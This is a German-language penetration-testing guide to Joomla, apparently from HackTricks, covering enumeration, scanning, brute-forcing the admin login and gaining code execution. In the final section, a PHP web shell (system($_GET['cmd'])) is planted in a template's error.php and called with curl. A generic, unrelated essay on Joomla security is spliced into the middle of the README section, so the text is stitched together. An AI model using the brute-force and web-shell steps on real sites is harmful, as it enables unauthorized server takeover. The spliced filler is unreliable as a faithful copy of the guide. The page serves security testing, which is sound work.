hacktricks/network-services-pentesting/pentesting-web/joomla.md
2024-02-10 15:36:32 +00:00

9.5 KiB

Joomla

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Joomla-Statistiken

Joomla sammelt einige anonyme Nutzungsstatistiken wie die Aufschlüsselung der Joomla-, PHP- und Datenbankversionen sowie der auf Joomla-Installationen verwendeten Serverbetriebssysteme. Diese Daten können über ihre öffentliche API abgefragt werden.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Enumeration

Discovery/Footprinting

  • Überprüfen Sie die Meta
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />

robots.txt

Die robots.txt-Datei ist eine Textdatei, die auf einer Website platziert wird, um Suchmaschinen-Roboter darüber zu informieren, welche Teile der Website sie durchsuchen dürfen und welche nicht. Sie wird normalerweise im Stammverzeichnis der Website platziert.

Die Syntax der robots.txt-Datei besteht aus einer oder mehreren Anweisungen, die von User-Agenten gefolgt werden. Jede Anweisung besteht aus dem User-Agent und den zugehörigen Disallow- oder Allow-Direktiven.

Die Disallow-Direktive gibt an, welche Teile der Website für den angegebenen User-Agent nicht durchsucht werden dürfen. Die Allow-Direktive gibt an, welche Teile der Website für den angegebenen User-Agent durchsucht werden dürfen.

Es ist wichtig zu beachten, dass die robots.txt-Datei nur eine Anweisung für Suchmaschinen-Roboter ist und keine Sicherheitsmaßnahme darstellt. Es ist möglich, dass nicht alle Suchmaschinen-Roboter die robots.txt-Datei beachten, und daher sollten sensible Informationen nicht in Verzeichnissen platziert werden, die von der robots.txt-Datei ausgeschlossen sind.

# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt

Joomla

Joomla ist ein beliebtes Content-Management-System (CMS), das für die Erstellung von Websites verwendet wird. Es bietet eine Vielzahl von Funktionen und Erweiterungen, die es Benutzern ermöglichen, ihre Websites anzupassen und zu verwalten.

Schwachstellen in Joomla

Wie bei jedem CMS gibt es auch in Joomla potenzielle Schwachstellen, die von Angreifern ausgenutzt werden können. Hier sind einige der häufigsten Schwachstellen in Joomla:

  1. Veraltete Versionen: Wenn Joomla nicht auf dem neuesten Stand gehalten wird, können bekannte Sicherheitslücken ausgenutzt werden.

  2. Unsichere Erweiterungen: Drittanbieter-Erweiterungen können Sicherheitslücken enthalten, die von Angreifern ausgenutzt werden können.

  3. Schwache Passwörter: Schwache oder leicht zu erratende Passwörter können es Angreifern ermöglichen, sich in das Joomla-Backend einzuloggen.

  4. Fehlende Sicherheitsupdates: Wenn Sicherheitsupdates nicht regelmäßig installiert werden, bleiben potenzielle Schwachstellen offen.

Joomla-Penetrationstests

Bei einem Joomla-Penetrationstest werden verschiedene Techniken angewendet, um die Sicherheit einer Joomla-Website zu überprüfen. Hier sind einige der gängigen Techniken:

  1. Information Gathering: Durch das Sammeln von Informationen über die Joomla-Website können potenzielle Schwachstellen identifiziert werden.

  2. Schwachstellenanalyse: Durch die Überprüfung der Joomla-Version und der installierten Erweiterungen können bekannte Schwachstellen ermittelt werden.

  3. Brute-Force-Angriffe: Durch das Ausprobieren verschiedener Kombinationen von Benutzernamen und Passwörtern kann versucht werden, sich in das Joomla-Backend einzuloggen.

  4. Exploits: Durch die Ausnutzung bekannter Schwachstellen können Angreifer Zugriff auf das Joomla-Backend erlangen.

Sicherheitsmaßnahmen für Joomla

Um die Sicherheit einer Joomla-Website zu verbessern, sollten folgende Maßnahmen ergriffen werden:

  1. Aktualisierung: Halten Sie Joomla und alle Erweiterungen auf dem neuesten Stand, um bekannte Sicherheitslücken zu schließen.

  2. Sichere Passwörter: Verwenden Sie starke Passwörter für das Joomla-Backend und ändern Sie sie regelmäßig.

  3. Überprüfung von Erweiterungen: Überprüfen Sie regelmäßig, ob installierte Erweiterungen sicher sind und aktualisieren Sie diese gegebenenfalls.

  4. Sicherheitsupdates: Installieren Sie regelmäßig Sicherheitsupdates, um potenzielle Schwachstellen zu schließen.

Fazit

Joomla ist ein leistungsfähiges CMS, das jedoch auch potenzielle Schwachstellen aufweisen kann. Durch die Durchführung von Penetrationstests und die Umsetzung von Sicherheitsmaßnahmen können Joomla-Websites besser geschützt werden.

1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Version

  • In /administrator/manifests/files/joomla.xml können Sie die Version sehen.
  • In /language/en-GB/en-GB.xml können Sie die Version von Joomla erhalten.
  • In plugins/system/cache/cache.xml können Sie eine ungefähre Version sehen.

Automatisch

droopescan scan joomla --url http://joomla-site.local/

In 80,443 - Pentesting Web Methodology gibt es einen Abschnitt über CMS-Scanner, die Joomla scannen können.

Brute-Force

Sie können dieses Skript verwenden, um einen Brute-Force-Angriff auf den Login zu versuchen.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

Wenn es Ihnen gelungen ist, Admin-Anmeldeinformationen zu erhalten, können Sie RCE darin erreichen, indem Sie einen PHP-Code-Schnipsel hinzufügen, um RCE zu erlangen. Dies können wir tun, indem wir eine Vorlage anpassen.

  1. Klicken Sie auf Templates unten links unter Configuration, um das Menü der Vorlagen aufzurufen.
  2. Klicken Sie auf den Namen einer Vorlage. Wählen wir protostar unter der Spaltenüberschrift Template. Dadurch gelangen wir zur Seite Templates: Customise.
  3. Schließlich können Sie auf eine Seite klicken, um den Seitenquellcode aufzurufen. Wählen wir die Seite error.php. Wir fügen einen PHP-Einzeiler hinzu, um Codeausführung zu erlangen, wie folgt:
  4. system($_GET['cmd']);
  5. Speichern & Schließen
  6. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!